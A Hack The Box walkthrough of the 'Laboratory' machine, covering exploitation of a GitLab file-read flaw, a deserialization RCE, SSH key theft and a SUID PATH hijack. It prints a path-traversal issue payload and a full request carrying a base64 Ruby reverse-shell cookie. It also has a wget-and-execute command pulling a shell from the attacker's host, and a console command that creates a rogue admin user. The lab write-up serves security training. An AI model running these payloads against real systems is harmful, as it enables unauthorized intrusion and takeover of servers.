CTF Walkthroughs, Hack The Box

Hack The Box – Laboratory Walkthrough

Introduction

This was a fairly easy Linux box that involved exploiting a local file inclusion and remote code execution vulnerability in GitLab to gain remote access to the machine, obtaining administrative access to GitLab through the console to find a user’s private key and exploiting a PATH hijack vulnerability within a SUID script to escalate privileges to root.

Enumeration

The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:

  • -sC to run default scripts
  • -sV to enumerate applications versions

The initial scan has revealed that port 22, 80 and 443 are open, so the next logical step would be to look into HTTP.

Enumerating HTTP

When accessing the web server through a browser using the IP address, it is redirecting to laboratory.htb although no content is displayed.

Adding an extra line to the /etc/hosts file to be able to reach the web server on laboratory.htb:

The website is now coming up:

The website itself did not seem to contain anything useful as it was just showcasing the services the company offers, but when inspecting the SSL certificate in use, another domain is displayed:

Adding this newly discovered domain to the /etc/hosts file:

When accessing the git.laboratory.htb domain, it seems to be running GitLab:

After attempting a few basic credentials with no success, decided to register an account. It looks like the instance has been setup with restrictions around the email domain used for the registration:

Upon changing the email domain to laboratory.htb, it has now allowed the self registration:

After self-registering, GitLab takes the user to a /users page which results in a 404 error:

By navigating back to the home page it looks like the account was successfully created and no authentication is required:

The GitLab version can be discovered by navigating to the ? menu and clicking “Help”:

The web server appears to be running GitLab Community Edition 12.8.1:

When using SearchSploit to look for known exploit in this version of GitLab, the only one that could potentially match the running version would be the Arbitrary File Read exploit, which exploits a vulnerability in the “move issue” functionality of GitLab that allows users to move an issue from one project to another when using the following payload as the issue description, the file specified would be copied across as an attachment:

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../path_to_file)

This is occurring because the file path isn’t being properly validated, more information about this vulnerability can be found here. Despite being able to read files on the web servers no open SSH keys or other sensitive files that would allow to obtain remote access were found.

Exploiting GitLab Remote Code Execution

In the same article from HackerOne, the author also mentions how it is possible to turn this vulnerability into remote code execution as the cookies_serializer is set to :hybrid by default, which could allow code to be executed if injected into cookies. The can be done by first grabbing the secret_key_base from the /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml file using the arbitrary file read vulnerability and then use the experimentation_subject_id cookie with a serialized payload.

If having a personal GitLab instance setup isn’t an option, upon googling for the GitLab version the lab is running it looks like there is already a GitHub repository with a working script that automates the exploitation of this vulnerability:

This repository can exploits various vulnerabilities affecting GitLab, including the LFI+RCE that is required in this scenario:

The repository is available at this link. Cloning the repository:

The script requires the URL of the GitLab instance and the local IP address where the reverse shell needs to be called back, when initially executing the exploit, it looks like it was failing after the user registration, and it was not able to check the GitLab version:

This is because the registration was failing, as the domain was set to use gmail.htb, which as seen earlier would not be allowed by the application:

After changing the email domain used in the script, it has run smoothly and has provided a shell, upon setting up a Netcat listener on port 42069:

It is recommended to add a proxy to the script and tunnel all of the requests through Burp Suite to get a better understanding of what the exploit is actually doing, this is a high-level break down of the exploitation process:

  • Issuing a request to create a new user
  • Issuing a request to create a new project
  • Issuing a request to create a second project
  • Issuing a request to create an issue under the first project
  • Issuing a request to move the issue to the second project created, using the known local file inclusion vulnerability to get the secret_key_base from the secrets.yml fille secrets.yml file
  • sending a get request putting the base64-encoded ruby reverse shell payload in the experimentation_subject_id cookie, followed by “–” and a SHA-1 encrypted version of the secret_key_base to sign the cookie.

The following is the final request that was triggering the reverse shell:

GET /z8o1wm3Byn/FX9eTNwHkh/issues/1 HTTP/1.1
Host: git.laboratory.htb
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-CSRF-Token: 04hLzkFMGKzQYeUiyCjheAGwOU8CcwnmBpDnQ
+PhtYEKdRTkSoEImgm1HkcHhVfS7d3AmilIyp5+TFcDCI08SA==
Referer: https://git.laboratory.htb/z8o1wm3Byn/FX9eTNwHkh/issues/1
Cookie:
experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcm
VjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJInFleGl
0IGlmIGZvcms7Yz1UQ1BTb2NrZXQubmV3KCIxMC4xMC4xNC42Iiw0MjA2OSk7d2hpbGUoY21kPWMu
Z2V0cyk7SU8ucG9wZW4oY21kLCJyIil7fGlvfGMucHJpbnQgaW8ucmVhZH1lbmQGOgZFVDoOQGZpb
GVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdA
Y7CVQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7CVQ=--
c2938ee4d1fa51bc4f529aa1b146026ea072472e;
experimentation_subject_id=IjRiYTMwMjU0LTdiMDctNDQ0OC05YTU0LThlOWE4ZDJmMWNkZi
I%3D--2c1fa69c6943b78ee1d3e3423911e7bbe50a0d50;
_gitlab_session=4df524925b25879ff1c6729621ed4f86; event_filter=all

Since the ruby reverse shell was very unstable, an ELF reverse shell can be generated with MSFvenom, using the following flags:

  • -p to specify the payload type, in this case, the Linux TCP reverse shell
  • LHOST to specify the localhost IP address to connect to
  • LPORT to specify the local port to connect to
  • -f to specify the format, in this case, ELF

Setting up a Python web server to host the shell:

And a Netcat listener to catch the reverse shell, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Running the following command to download, the shell, change its permissions to allow execution and execute it:

wget 10.10.14.3/shell -O /tmp/shell && chmod +x /tmp/shell && /tmp/shell

When enumerating the file system, it can be noticed that the /home and /root folders were empty, which is highly unusual. When inspecting the contents of the root folder, the .dockerenv file indicates the presence of a Docker container:

GitLab might contain more information on how to gain an actual shell that connects to the machine outside of the Docker container. Entering the GitLab Rails console and after a bit of research, used the following command to create a new admin user:

User.create!(name: "stefano", username: "stefano", email: "stefano@laboratory.htb", password: "test12345", password_confirmation: "test12345", admin: true)

Logging into GitLab as the newly created “stefano” admin user:

Clicking on the wrench icon at the top to access the administrative functionalities of GitLab:

It appears there are two projects already created:

When clicking on “Projects: 2”, the following projects are displayed:

When accessing the SecureDocker project, it looks like the author is Dexter McPherson:

Clicking on the user’s name reveals the repositories linked to its projects:

When accessing the SecureDocker project, it seems to contain the a “dexter” directory:

It appears to be Dexter’s home directory, as it contains a .ssh folder, which normally contains SSH keys and authoried hosts:

When accessing the .ssh folder, it contains what appears to be a private key:

Accessing the file confirms this suspicion:

Copying the contents of the private key and creating a copy of it locally so that it can be used to remotely connect to the machine via SSH:

The following command needs to be used in order to assign the proper permissions to the key, as SSH won’t allow keys with insecure permissions to be used to authenticate:

chmod 600 key_name

Logging into the machine via SSH as Dexter, using the private key found on the GitLab repository:

Privilege Escalation

Transferring the LinPEAS enumeration script over to the victim machine using the Python web server to host it and the Wget command to download it:

Changing the script to allow execution and running it:

It looks like the /usr/local/bin/docker-security binary has the SUID bit set:

This means it can be executed with root privileges and potentially allow to escalate privileges. When executing it, no output is displayed, so running ltrace against it can be a good way to understand what it is doing:

It looks like it is trying to run the chmod command against /usr/bin/docker and /var/run/docker.sock, although the absolute path is not being used, so this means it is vulnerable to path hijacking.

PATH is an environmental variable used in Unix operating systems to tell the operating system where to look for executables when they are run without specifying a full path, the system will simply check every directory in the PATH variable and look for the specified binary. This is a vulnerability as the script is running as root, and therefore this variable can be modified so that other binaries will be run before it finds the legitimate chmod executabl.

Downloading the reverse shell generated earlier and saving it as “chmod”:

The next step is to set up a Netcat listener, which will catch our reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Changing the permissions of the chmod binary to allow execution, changing the current $PATH environment variable to have “/tmp” at the front, and executing the docker-security binary:

This has provided with a root shell and therefore full access to the system.

Conclusion

This was a very interesting machine, as the RCE vector wasn’t that common, it required to concatenate two different vulnerabilities and needed a bit of research to work. The whole challenge did a great job at simulating a real-life environment, where various exploits and/or misconfiguration allow an attacker to move its way up from being a normal self-registered user to a Gitlab admin and eventually a root user on the machine.